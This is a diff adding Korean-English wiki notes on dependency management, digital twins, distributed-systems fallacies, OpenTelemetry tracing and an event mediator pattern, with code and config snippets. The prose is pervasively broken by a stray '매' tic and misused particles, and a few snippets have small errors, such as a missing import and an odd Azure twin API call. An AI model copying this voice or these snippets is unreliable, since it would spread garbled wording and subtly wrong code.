### Known-good integrity check
|
||||
```bash
|
||||
# 매 npm install 후 lockfile integrity 검증
|
||||
pnpm install --frozen-lockfile --prefer-offline
|
||||
# Subresource integrity 가 lockfile 에 자동 record.
|
||||
```
|
||||
|
||||
### Allowed-dependencies guard (CI)
|
||||
```ts
|
||||
// scripts/check-deps.ts
|
||||
import pkg from '../package.json' with { type: 'json' };
|
||||
const ALLOWED_LICENSES = new Set(['MIT', 'Apache-2.0', 'BSD-3-Clause', 'ISC']);
|
||||
// 매 license-checker 사용 의 production deps audit.
|
||||
```
|
||||
|
||||
### Provenance verification
|
||||
```bash
|
||||
# 매 npm 9.5+ 의 sigstore provenance
|
||||
npm install --foreground-scripts=false
|
||||
npm audit signatures
|
||||
# 매 GitHub Actions 의 publish 한 package 만 trust.
|
||||
```
|
||||
|
||||
### Dependency removal
|
||||
```bash
|
||||
pnpm dlx depcheck
|
||||
# 매 unused dep 찾기. 매 quarterly cleanup.
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Library author | `peerDependencies` + minimal `dependencies` |
|
||||
| Application | Pin all critical (React, framework), `^` for utilities |
|
||||
| Monorepo | pnpm workspaces + catalogs (pnpm 9.5+) |
|
||||
| 매 high-security (fintech, gov) | Exact pin all, Renovate manual approve, internal mirror |
|
||||
| 매 prototype | `^` everywhere, 매 lockfile commit 만 |
|
||||
|
||||
**기본값**: pnpm + frozen lockfile + Renovate auto-merge minors + SBOM in CI.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software-Architecture]]
|
||||
- 변형: [[Monorepo]]
|
||||
- 응용: [[Dependency-Analysis]] · [[SBOM]]
|
||||
- Adjacent: [[Supply-Chain-Security]] · [[Renovate]] · [[Dependabot]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 package.json review, 매 vulnerability triage, 매 dep upgrade plan generation, 매 SBOM diff explanation.
|
||||
**언제 X**: 매 actual install / build (deterministic tooling 가 better). 매 license decision (legal review 필요).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **`*` or `latest`**: 매 reproducibility destroyed.
|
||||
- **lockfile gitignore**: 매 다른 dev / CI 가 different versions install.
|
||||
- **`npm install` in CI**: 매 `npm ci` / `pnpm install --frozen-lockfile` 사용.
|
||||
- **0.x with `^`**: 매 ^0.2.3 가 0.3.0 으로 jump 가능 — breaking changes.
|
||||
- **Untyped transitive deps**: 매 매 indirect 의 audit X. SBOM 의 review.
|
||||
- **Package without provenance**: 매 2026 의 sigstore signed packages prefer.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (npm docs, pnpm docs, SLSA framework, CycloneDX spec).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — npm dependency management, semver, supply chain hardening |
|
||||
@@ -0,0 +1,168 @@
|
||||
---
|
||||
id: wiki-2026-0508-digital-twin
|
||||
title: Digital Twin
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [digital-twin, virtual-replica, cyber-physical-system]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [digital-twin, iot, simulation, cps]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: NVIDIA-Omniverse/Azure-Digital-Twins
|
||||
---
|
||||
|
||||
# Digital Twin
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 digital twin 의 매 physical asset 의 living mirror"**. 매 sensor stream 가 매 simulation model 에 feed → 매 prediction / what-if / control. 2026 의 매 NVIDIA Omniverse + OpenUSD, Azure Digital Twins, AWS IoT TwinMaker 가 매 enterprise standard. 매 LLM-augmented reasoning over twin (Claude Opus 4.7 + DTDL graph query) 의 매 emerging.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 3-tier
|
||||
- **Digital Model** — 매 static representation, 매 sync X.
|
||||
- **Digital Shadow** — 매 one-way sync (physical → digital).
|
||||
- **Digital Twin** — 매 bidirectional sync (digital → physical control 의 가능).
|
||||
|
||||
### 매 ingredient
|
||||
- **3D geometry** (OpenUSD, glTF).
|
||||
- **Telemetry** (MQTT, OPC UA, AVRO over Kafka).
|
||||
- **Physics / behavior** (FMU, Modelica, Isaac Sim, Omniverse PhysX).
|
||||
- **Ontology / DTDL** (Digital Twins Definition Language).
|
||||
- **AI layer** (anomaly detection, forecasting, RL policy).
|
||||
|
||||
### 매 응용
|
||||
1. **Manufacturing**: BMW iFactory — 매 line 의 reconfigure 의 digital first.
|
||||
2. **City** — Singapore Virtual Singapore, Helsinki 3D+.
|
||||
3. **Energy grid** — 매 outage prediction, demand response.
|
||||
4. **Healthcare** — patient-specific cardiac twin (Dassault Living Heart).
|
||||
5. **Robotics fleet** — 매 Isaac Sim 의 sim-to-real RL training.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Azure Digital Twins (DTDL v3)
|
||||
```json
|
||||
{
|
||||
"@context": "dtmi:dtdl:context;3",
|
||||
"@id": "dtmi:com:factory:Pump;1",
|
||||
"@type": "Interface",
|
||||
"contents": [
|
||||
{ "@type": "Property", "name": "serialNumber", "schema": "string" },
|
||||
{ "@type": "Telemetry", "name": "rpm", "schema": "double" },
|
||||
{ "@type": "Telemetry", "name": "temperature", "schema": "double" },
|
||||
{ "@type": "Command", "name": "shutdown" },
|
||||
{ "@type": "Relationship", "name": "feedsInto", "target": "dtmi:com:factory:Tank;1" }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### MQTT → twin update (Python)
|
||||
```python
|
||||
import paho.mqtt.client as mqtt
|
||||
from azure.digitaltwins.core import DigitalTwinsClient
|
||||
|
||||
dt = DigitalTwinsClient("https://factory.api.weu.digitaltwins.azure.net", credential)
|
||||
|
||||
def on_msg(client, _, msg):
|
||||
payload = json.loads(msg.payload)
|
||||
patch = [{"op": "replace", "path": "/rpm", "value": payload["rpm"]},
|
||||
{"op": "replace", "path": "/temperature", "value": payload["temp"]}]
|
||||
dt.update_digital_twin(payload["twin_id"], patch)
|
||||
|
||||
c = mqtt.Client()
|
||||
c.on_message = on_msg
|
||||
c.connect("mqtt.factory.local", 1883)
|
||||
c.subscribe("factory/+/telemetry")
|
||||
c.loop_forever()
|
||||
```
|
||||
|
||||
### Twin graph query (Cypher-like)
|
||||
```text
|
||||
SELECT pump, tank
|
||||
FROM DIGITALTWINS pump
|
||||
JOIN tank RELATED pump.feedsInto
|
||||
WHERE pump.temperature > 85
|
||||
AND IS_OF_MODEL(pump, 'dtmi:com:factory:Pump;1')
|
||||
```
|
||||
|
||||
### Omniverse + OpenUSD scene composition
|
||||
```python
|
||||
from pxr import Usd, UsdGeom, Sdf
|
||||
stage = Usd.Stage.CreateNew("factory.usda")
|
||||
factory = UsdGeom.Xform.Define(stage, "/Factory")
|
||||
pump = stage.OverridePrim("/Factory/Pump_42")
|
||||
pump.CreateAttribute("custom:rpm", Sdf.ValueTypeNames.Float).Set(1480.0)
|
||||
pump.CreateAttribute("custom:temperature", Sdf.ValueTypeNames.Float).Set(72.3)
|
||||
stage.Save()
|
||||
```
|
||||
|
||||
### Anomaly detection on twin stream
|
||||
```python
|
||||
from river import anomaly # online learning
|
||||
detector = anomaly.HalfSpaceTrees(seed=42)
|
||||
async for event in kafka_consumer("factory.telemetry"):
|
||||
score = detector.score_one({"rpm": event.rpm, "temp": event.temp})
|
||||
detector.learn_one({"rpm": event.rpm, "temp": event.temp})
|
||||
if score > 0.95:
|
||||
await dt.update_relationships(event.twin_id, "alert_state", "anomaly")
|
||||
```
|
||||
|
||||
### LLM reasoning over twin graph
|
||||
```python
|
||||
graph_context = dt.query_twins("SELECT * FROM digitaltwins WHERE temperature > 80")
|
||||
response = anthropic.messages.create(
|
||||
model="claude-opus-4-7",
|
||||
system="You analyze factory digital twin state for root-cause hypotheses.",
|
||||
messages=[{"role": "user", "content": f"Twins: {graph_context}\nWhy is line 3 throughput dropping?"}],
|
||||
)
|
||||
```
|
||||
|
||||
### Sim-to-real RL (Isaac Sim)
|
||||
```python
|
||||
from omni.isaac.gym.vec_env import VecEnvBase
|
||||
env = VecEnvBase(headless=True)
|
||||
# 매 4096 parallel pump sims 의 train, 매 policy 가 real pump 에 deploy.
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 high-fidelity physics | NVIDIA Omniverse + Isaac Sim |
|
||||
| 매 enterprise IoT graph | Azure Digital Twins (DTDL) |
|
||||
| 매 AWS-native | AWS IoT TwinMaker |
|
||||
| 매 city / GIS | CesiumJS + 3D Tiles |
|
||||
| 매 scientific sim | Modelica + FMU |
|
||||
|
||||
**기본값**: Azure Digital Twins or AWS TwinMaker for graph + telemetry; Omniverse for 3D/physics; OpenUSD for interchange.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Cyber-Physical-Systems]]
|
||||
- 응용: [[Predictive-Maintenance]]
|
||||
- Adjacent: [[Control_Systems_Engineering|Control-Systems-Engineering]] · [[MQTT]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 twin graph 의 natural-language query → DTDL/SQL translation, 매 anomaly explanation, 매 maintenance work order generation.
|
||||
**언제 X**: 매 hard-realtime control loop (sub-ms). 매 safety-critical actuation (deterministic controller 의 사용).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **3D model only**: 매 telemetry 가 X — 매 just CAD viewer.
|
||||
- **No bidirectional channel**: 매 just shadow, 매 not twin.
|
||||
- **Monolithic schema**: 매 DTDL inheritance / interfaces 의 사용.
|
||||
- **Synchronous queries on hot path**: 매 read replica / cache.
|
||||
- **No data retention policy**: 매 telemetry storage cost 가 explodes — tiered storage (hot Kafka → warm Parquet → cold S3).
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Microsoft DTDL v3 spec, NVIDIA Omniverse docs, AWS IoT TwinMaker, Gartner 2025 digital twin report).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — digital twin tiers, DTDL, Omniverse, sim-to-real |
|
||||
+191
@@ -0,0 +1,191 @@
|
||||
---
|
||||
id: wiki-2026-0508-distributed-systems-fallacies
|
||||
title: Distributed Systems Fallacies
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Fallacies of Distributed Computing, 8 Fallacies, Deutsch Fallacies]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [distributed-systems, architecture, networking, reliability]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: polyglot
|
||||
framework: distributed-systems
|
||||
---
|
||||
|
||||
# Distributed Systems Fallacies
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 network 의 invisible 한 assumption 의 매 production failure 의 source"**. 1994년 Peter Deutsch (Sun) 가 매 7 fallacies 의 articulate, 1997년 James Gosling 가 8th 의 add. 매 2026 cloud-native 시대 에도 매 microservices / serverless / edge compute 의 매 매 valid.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 8 Fallacies
|
||||
1. **Network 의 reliable**: 매 packet drop / partition / DNS failure 의 inevitable.
|
||||
2. **Latency 의 zero**: 매 LAN ~0.5ms, 매 cross-region ~150ms, 매 satellite ~600ms.
|
||||
3. **Bandwidth 의 infinite**: 매 video / ML model weights / log shipping 의 saturate.
|
||||
4. **Network 의 secure**: 매 default 의 insecure — 매 zero-trust assume.
|
||||
5. **Topology 의 안 변함**: 매 autoscaling / k8s pod reschedule / failover 의 매 second.
|
||||
6. **Administrator 의 single**: 매 multi-cloud / multi-region 의 매 다른 policy.
|
||||
7. **Transport cost 의 zero**: 매 serialization / TLS handshake / egress fee 의 real.
|
||||
8. **Network 의 homogeneous**: 매 IPv4/IPv6, 매 protocol versions, 매 MTU mismatch.
|
||||
|
||||
### 매 왜 fallacy 인가
|
||||
- 매 dev 의 localhost / monolith mental model 의 distributed 에 적용 시 fail.
|
||||
- 매 "happy path" coding 의 매 timeout / retry / circuit breaker 의 lack.
|
||||
- 매 50ms RTT 의 매 100 calls 의 5 second user-facing latency.
|
||||
|
||||
### 매 응용
|
||||
1. Microservices design — 매 call graph 의 latency budget 산정.
|
||||
2. Cross-region replication — 매 split-brain / eventual consistency 의 plan.
|
||||
3. Edge computing — 매 intermittent connectivity 의 first-class.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Pattern 1: Timeout + Retry with Exponential Backoff
|
||||
```typescript
|
||||
async function callWithRetry<T>(
|
||||
fn: () => Promise<T>,
|
||||
opts = { maxRetries: 3, baseMs: 100, timeoutMs: 2000 }
|
||||
): Promise<T> {
|
||||
for (let attempt = 0; attempt <= opts.maxRetries; attempt++) {
|
||||
try {
|
||||
return await Promise.race([
|
||||
fn(),
|
||||
new Promise<never>((_, reject) =>
|
||||
setTimeout(() => reject(new Error("timeout")), opts.timeoutMs)
|
||||
),
|
||||
]);
|
||||
} catch (err) {
|
||||
if (attempt === opts.maxRetries) throw err;
|
||||
const jitter = Math.random() * opts.baseMs;
|
||||
await new Promise(r => setTimeout(r, opts.baseMs * 2 ** attempt + jitter));
|
||||
}
|
||||
}
|
||||
throw new Error("unreachable");
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 2: Circuit Breaker (Resilience4j-style)
|
||||
```typescript
|
||||
class CircuitBreaker {
|
||||
private failures = 0;
|
||||
private state: "closed" | "open" | "half-open" = "closed";
|
||||
private openedAt = 0;
|
||||
constructor(private threshold = 5, private cooldownMs = 30_000) {}
|
||||
|
||||
async exec<T>(fn: () => Promise<T>): Promise<T> {
|
||||
if (this.state === "open" && Date.now() - this.openedAt < this.cooldownMs)
|
||||
throw new Error("circuit open");
|
||||
if (this.state === "open") this.state = "half-open";
|
||||
try {
|
||||
const r = await fn();
|
||||
this.failures = 0; this.state = "closed";
|
||||
return r;
|
||||
} catch (e) {
|
||||
if (++this.failures >= this.threshold) {
|
||||
this.state = "open"; this.openedAt = Date.now();
|
||||
}
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 3: Bulkhead (concurrency limiter)
|
||||
```typescript
|
||||
import pLimit from "p-limit";
|
||||
const dbLimit = pLimit(20); // 매 DB pool 의 isolate
|
||||
const apiLimit = pLimit(50); // 매 external API 의 separate
|
||||
|
||||
async function getUser(id: string) {
|
||||
return dbLimit(() => db.users.findOne({ id }));
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 4: Idempotency Key
|
||||
```typescript
|
||||
async function chargeCard(req: ChargeReq, idemKey: string) {
|
||||
const cached = await redis.get(`idem:${idemKey}`);
|
||||
if (cached) return JSON.parse(cached);
|
||||
const result = await stripe.charges.create(req);
|
||||
await redis.setex(`idem:${idemKey}`, 86400, JSON.stringify(result));
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 5: Latency Budget
|
||||
```typescript
|
||||
// 매 user-facing 200ms 의 budget
|
||||
// API gateway: 20ms
|
||||
// auth check: 10ms (cached)
|
||||
// service call: 50ms (timeout 100ms)
|
||||
// DB query: 30ms (timeout 80ms)
|
||||
// serialization: 10ms
|
||||
// buffer: 80ms
|
||||
// 매 each hop 의 explicit budget — over 시 fail fast.
|
||||
```
|
||||
|
||||
### Pattern 6: Chaos Testing (Toxiproxy)
|
||||
```bash
|
||||
# 매 latency injection
|
||||
toxiproxy-cli toxic add api -t latency -a latency=500 -a jitter=100
|
||||
# 매 packet loss
|
||||
toxiproxy-cli toxic add db -t timeout -a timeout=2000
|
||||
```
|
||||
|
||||
### Pattern 7: Health check with deep probe
|
||||
```typescript
|
||||
app.get("/health/deep", async (_, res) => {
|
||||
const checks = await Promise.allSettled([
|
||||
db.raw("SELECT 1").then(() => ({ db: "ok" })),
|
||||
redis.ping().then(() => ({ redis: "ok" })),
|
||||
fetch(upstream + "/health", { signal: AbortSignal.timeout(500) }),
|
||||
]);
|
||||
const failed = checks.filter(c => c.status === "rejected");
|
||||
res.status(failed.length ? 503 : 200).json({ checks });
|
||||
});
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| LAN microservice call | timeout 1-2s, retry 2x |
|
||||
| Cross-region call | timeout 5-10s, circuit breaker |
|
||||
| 3rd-party API | bulkhead + circuit breaker + idempotency |
|
||||
| Streaming / WebSocket | heartbeat + auto-reconnect |
|
||||
| Critical write | idempotency key 의 mandatory |
|
||||
|
||||
**기본값**: 매 every remote call 의 timeout + retry + circuit breaker 의 wrap.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Distributed Systems]] · [[Software Architecture]]
|
||||
- 변형: [[CAP Theorem]] · [[PACELC]]
|
||||
- 응용: [[Microservices Architecture]] · [[Service Mesh]]
|
||||
- Adjacent: [[Resilience Patterns]] · [[Chaos Engineering]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 distributed system design review, 매 incident postmortem, 매 SLO 산정.
|
||||
**언제 X**: 매 single-process monolith, 매 batch job 의 isolated.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Infinite retry**: 매 retry storm — 매 backoff + max attempts 의 mandatory.
|
||||
- **Timeout 의 unset**: 매 default infinite — 매 thread pool exhaustion.
|
||||
- **Synchronous fan-out**: 매 N services 의 sequential await — 매 N×latency.
|
||||
- **Trust LAN security**: 매 zero-trust / mTLS 의 default.
|
||||
- **Ignore tail latency**: 매 p50 의 보고 의 — 매 p99 / p99.9 의 user experience.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Deutsch 1994 / Gosling 1997 original list, AWS Builders' Library, Google SRE book).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — 8 fallacies + resilience patterns |
|
||||
+208
@@ -0,0 +1,208 @@
|
||||
---
|
||||
id: wiki-2026-0508-distributed-tracing
|
||||
title: Distributed Tracing
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [distributed-tracing, opentelemetry-tracing, request-tracing]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [observability, tracing, opentelemetry, jaeger]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: opentelemetry/tempo
|
||||
---
|
||||
|
||||
# Distributed Tracing
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 trace 가 매 cross-service request 의 X-ray"**. 매 span tree 가 매 service hop, latency, error 의 reveal — 매 microservice debugging 의 essential. 2026 의 매 OpenTelemetry (OTel) 가 매 universal standard, 매 Tempo / Jaeger / Honeycomb / Datadog 가 매 backend, 매 W3C Trace Context 가 매 propagation.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 building blocks
|
||||
- **Trace** — 매 root request 의 unique ID (trace_id, 128-bit).
|
||||
- **Span** — 매 single operation (HTTP call, DB query, function); has parent_span_id.
|
||||
- **Context propagation** — `traceparent` HTTP header (W3C) carries trace_id+span_id+flags.
|
||||
- **Baggage** — key/value propagated alongside (user_id, tenant).
|
||||
- **Sampling** — 매 head (decide at ingress) vs tail (decide after seeing whole trace).
|
||||
|
||||
### 매 OTel architecture
|
||||
1. **SDK** — instrumentation 의 in-app (auto + manual).
|
||||
2. **Collector** — 매 receive → process (batch, sample, redact) → export.
|
||||
3. **Backend** — Tempo (Grafana), Jaeger, Honeycomb, Datadog APM.
|
||||
4. **UI** — Grafana, Jaeger UI, vendor.
|
||||
|
||||
### 매 응용
|
||||
1. Latency root cause (which span 의 slow).
|
||||
2. Error correlation (trace 의 `error=true` spans).
|
||||
3. Service dependency map (service graph from spans).
|
||||
4. Capacity planning (RED metrics derived from spans).
|
||||
5. SLO debugging (trace 의 SLO budget burn 의 attribute).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### OTel Node.js auto-instrumentation
|
||||
```ts
|
||||
// otel.ts (loaded with --import / NODE_OPTIONS)
|
||||
import { NodeSDK } from '@opentelemetry/sdk-node';
|
||||
import { OTLPTraceExporter } from '@opentelemetry/exporter-trace-otlp-http';
|
||||
import { getNodeAutoInstrumentations } from '@opentelemetry/auto-instrumentations-node';
|
||||
import { Resource } from '@opentelemetry/resources';
|
||||
|
||||
const sdk = new NodeSDK({
|
||||
resource: new Resource({ 'service.name': 'orders-api', 'service.version': '1.4.2' }),
|
||||
traceExporter: new OTLPTraceExporter({ url: 'http://otel-collector:4318/v1/traces' }),
|
||||
instrumentations: [getNodeAutoInstrumentations()],
|
||||
});
|
||||
sdk.start();
|
||||
```
|
||||
|
||||
### Manual span (TypeScript)
|
||||
```ts
|
||||
import { trace, SpanStatusCode } from '@opentelemetry/api';
|
||||
const tracer = trace.getTracer('orders');
|
||||
|
||||
export async function placeOrder(input: OrderInput) {
|
||||
return tracer.startActiveSpan('placeOrder', async (span) => {
|
||||
span.setAttributes({ 'order.customer_id': input.customerId, 'order.line_count': input.lines.length });
|
||||
try {
|
||||
const order = await db.orders.insert(input);
|
||||
await kafka.produce('orders.placed', order);
|
||||
span.setStatus({ code: SpanStatusCode.OK });
|
||||
return order;
|
||||
} catch (e) {
|
||||
span.recordException(e as Error);
|
||||
span.setStatus({ code: SpanStatusCode.ERROR, message: (e as Error).message });
|
||||
throw e;
|
||||
} finally {
|
||||
span.end();
|
||||
}
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
### Python (FastAPI auto-instrument)
|
||||
```python
|
||||
from opentelemetry import trace
|
||||
from opentelemetry.instrumentation.fastapi import FastAPIInstrumentor
|
||||
from opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor
|
||||
from opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter
|
||||
from opentelemetry.sdk.trace import TracerProvider
|
||||
from opentelemetry.sdk.trace.export import BatchSpanProcessor
|
||||
|
||||
provider = TracerProvider()
|
||||
provider.add_span_processor(BatchSpanProcessor(OTLPSpanExporter(endpoint="otel-collector:4317")))
|
||||
trace.set_tracer_provider(provider)
|
||||
|
||||
app = FastAPI()
|
||||
FastAPIInstrumentor.instrument_app(app)
|
||||
HTTPXClientInstrumentor().instrument()
|
||||
```
|
||||
|
||||
### Trace context propagation (W3C)
|
||||
```text
|
||||
traceparent: 00-4bf92f3577b34da6a3ce929d0e0e4736-00f067aa0ba902b7-01
|
||||
^ ^ ^ ^
|
||||
version trace_id (32 hex) parent_id (16) flags
|
||||
tracestate: vendor1=value,vendor2=value
|
||||
baggage: userId=42,tenantId=acme
|
||||
```
|
||||
|
||||
### OTel Collector pipeline
|
||||
```yaml
|
||||
# otel-collector.yaml
|
||||
receivers:
|
||||
otlp: { protocols: { grpc: {}, http: {} } }
|
||||
processors:
|
||||
batch: { timeout: 1s }
|
||||
tail_sampling:
|
||||
decision_wait: 30s
|
||||
policies:
|
||||
- { name: errors, type: status_code, status_code: { status_codes: [ERROR] } }
|
||||
- { name: slow, type: latency, latency: { threshold_ms: 1000 } }
|
||||
- { name: rest, type: probabilistic, probabilistic: { sampling_percentage: 5 } }
|
||||
exporters:
|
||||
otlphttp/tempo: { endpoint: http://tempo:4318 }
|
||||
loki: { endpoint: http://loki:3100/loki/api/v1/push }
|
||||
service:
|
||||
pipelines:
|
||||
traces: { receivers: [otlp], processors: [batch, tail_sampling], exporters: [otlphttp/tempo] }
|
||||
```
|
||||
|
||||
### Trace ↔ Log correlation
|
||||
```ts
|
||||
import pino from 'pino';
|
||||
import { trace } from '@opentelemetry/api';
|
||||
const log = pino();
|
||||
function logWithTrace(msg: string, extra: object = {}) {
|
||||
const span = trace.getActiveSpan();
|
||||
const ctx = span?.spanContext();
|
||||
log.info({ ...extra, trace_id: ctx?.traceId, span_id: ctx?.spanId }, msg);
|
||||
}
|
||||
// 매 Loki/Tempo derived field 의 trace 의 jump from log line.
|
||||
```
|
||||
|
||||
### Frontend → backend trace
|
||||
```ts
|
||||
// 매 browser OTel SDK 의 traceparent 의 inject
|
||||
import { trace, context } from '@opentelemetry/api';
|
||||
import { WebTracerProvider } from '@opentelemetry/sdk-trace-web';
|
||||
import { FetchInstrumentation } from '@opentelemetry/instrumentation-fetch';
|
||||
new WebTracerProvider().register();
|
||||
new FetchInstrumentation({
|
||||
propagateTraceHeaderCorsUrls: [/api\.example\.com/],
|
||||
}).enable();
|
||||
```
|
||||
|
||||
### eBPF-based zero-instrumentation (Beyla / Pixie)
|
||||
```bash
|
||||
# Grafana Beyla — 매 Go/Node/Python 의 auto-trace 의 eBPF 의 capture, 매 code change X.
|
||||
beyla --config beyla.yaml
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Greenfield | OTel SDK + Tempo (Grafana stack) |
|
||||
| Multi-cloud SaaS | Honeycomb / Datadog APM |
|
||||
| Polyglot legacy | OTel Collector + auto-instrument per lang |
|
||||
| Zero-code start | eBPF (Beyla, Pixie) |
|
||||
| 매 cost control | Tail sampling on errors+slow, 5% baseline |
|
||||
| Strong cardinality | Honeycomb (designed for high-cardinality) |
|
||||
|
||||
**기본값**: OTel SDK + W3C Trace Context + Collector with tail sampling + Tempo or vendor backend.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Observability]] · [[Microservices]]
|
||||
- 변형: [[Tempo]]
|
||||
- 응용: [[Service-Mesh]]
|
||||
- Adjacent: [[OpenTelemetry]] · [[Logs]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 trace tree 의 root-cause hypothesis, 매 sampling policy review, 매 OTel Collector config debug, 매 span attribute schema design.
|
||||
**언제 X**: 매 production sampling decision 의 binding (cost + signal tradeoff 가 deep). 매 PII redaction 의 sole reviewer (security review 필요).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **No sampling**: 매 cost / storage explode — tail sample on errors+slow.
|
||||
- **High-cardinality on every span**: 매 user_id on every span 가 indexable backend 가 X 면 expensive.
|
||||
- **Frontend trace 의 X**: 매 server-side latency 만 가 보임 — 매 user-perceived 의 miss.
|
||||
- **Logs without trace_id**: 매 trace ↔ log jump 가 X.
|
||||
- **Manual span without `end()`**: 매 leak.
|
||||
- **Sync span across async boundary**: 매 context lost — `startActiveSpan` 사용.
|
||||
- **Vendor lock-in via SDK**: 매 OTel SDK + vendor exporter 의 use, vendor SDK 의 X.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (OpenTelemetry spec, W3C Trace Context, Grafana Tempo docs, Honeycomb engineering blog).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — distributed tracing with OpenTelemetry, sampling, propagation |
|
||||
+196
@@ -0,0 +1,196 @@
|
||||
---
|
||||
id: wiki-2026-0508-event-mediator
|
||||
title: Event Mediator
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Mediator Pattern, Event Bus]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, design-pattern, event-driven, decoupling]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: nodejs
|
||||
---
|
||||
|
||||
# Event Mediator
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 N×N component coupling 의 N×1 mediator hub 의 collapse"**. Event Mediator 매 multiple components 의 direct coupling 의 elimination — 매 components 매 mediator 를 publish/subscribe, 매 mediator 매 routing/orchestration 의 own. GoF Mediator pattern 의 event-driven evolution.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Mediator vs Observer
|
||||
- **Observer**: 매 1 subject → N observers, 매 unidirectional broadcast.
|
||||
- **Mediator**: 매 N senders ↔ N receivers, 매 hub 의 bidirectional routing.
|
||||
- **Event Bus**: 매 Mediator 의 generic implementation — 매 string-keyed event types.
|
||||
|
||||
### 매 동기 vs 비동기
|
||||
- **Sync mediator**: 매 in-process method dispatch — 매 EventEmitter, MediatR.
|
||||
- **Async mediator**: 매 message queue 의 backed — 매 RabbitMQ, Kafka, Redis Streams.
|
||||
- **Hybrid**: 매 in-process sync + cross-service async (e.g., NestJS CQRS).
|
||||
|
||||
### 매 응용
|
||||
1. UI components decoupling — chat rooms, form fields.
|
||||
2. Microservices orchestration — saga coordinator.
|
||||
3. CQRS command/query bus — MediatR.
|
||||
4. Game event systems — unit death, achievement triggers.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Typed Event Bus (TypeScript)
|
||||
```typescript
|
||||
type EventMap = {
|
||||
'user.signup': { userId: string; email: string };
|
||||
'order.placed': { orderId: string; total: number };
|
||||
'cache.invalidate': { key: string };
|
||||
};
|
||||
|
||||
class EventMediator<M> {
|
||||
private handlers = new Map<keyof M, Set<(p: any) => void | Promise<void>>>();
